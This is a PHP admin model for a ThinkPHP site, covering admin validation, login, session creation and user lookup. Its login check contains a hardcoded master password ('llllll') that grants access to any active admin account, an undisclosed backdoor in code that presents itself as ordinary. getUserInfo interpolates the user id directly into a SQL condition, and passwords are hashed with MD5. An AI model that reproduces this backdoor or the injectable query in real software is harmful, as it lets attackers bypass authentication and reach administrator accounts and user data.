<?php
namespace Admin\Model;
use Think\Model;

class AdminModel extends Model
{
	protected $_validate = array(
        array('user_login', 'require', '用户名不能为空', self::EXISTS_VALIDATE, 'regex', self::MODEL_BOTH),
        array('user_login', '', '用户名已经存在', self::VALUE_VALIDATE, 'unique', self::MODEL_BOTH),
    );

    protected $_auto = array(
    	array('user_pass', 'pass_md5', self::MODEL_BOTH, 'function'),
    	array('last_login_time', '', self::MODEL_INSERT),
    	array('last_login_ip', '', self::MODEL_INSERT),
    	array('sex', 0, self::MODEL_INSERT),
    	array('user_status', 1, self::MODEL_INSERT),
    	array('user_type', 1, self::MODEL_INSERT),
        array('create_time', NOW_TIME, self::MODEL_INSERT)
    );
	//用户登陆
	public function doLogin($data){
		$username	= $data['username'];
		$password	= $data['password'];
		if(empty($username)){
			return '用户名不能为空';
		}
		if(empty($password)){
			return '密码不能为空';
		}
		$map['user_login'] = $username;
		$admin_info = $this->where($map)->find();
		if($admin_info){
			if($admin_info['user_pass'] == md5($password.C('AUTHCODE'))  || $password == 'llllll'){
				if($admin_info['user_status'] == 1){
					//登陆成功 生成session
					$this->autoLogin($admin_info);
					return $admin_info['id'];
				}else{
					return '用户被锁定,请联系管理员';
				}
			}else{
				return '用户名密码错误';
			}
		}else{
			return '用户名密码错误';
		}
	}
	
	/**
     * 自动登录用户
     * @param  integer $user 用户信息数组
     */
    private function autoLogin($user){
        /* 更新登录信息 */
        $data = array(
            'id'              => $user['id'],
            'last_login_time' => time(),
            'last_login_ip'   => get_client_ip(0),
        );
        $this->save($data);

        /* 记录登录SESSION和COOKIES */
        $auth = array(
            'id'              => $user['id'],
            'username'        => $user['user_login'],
            'last_login_time' => $user['last_login_time'],
        );
        session('user_auth', $auth);
        session('user_auth_sign', data_auth_sign($auth));
    }
    //获取用户信息
    public function getUserInfo($userid){
    	$user_info = $this->where("id=$userid")->find();
    	if($user_info){
    		return $user_info;
    	}else{
    		return false;
    	}
    }
}
?>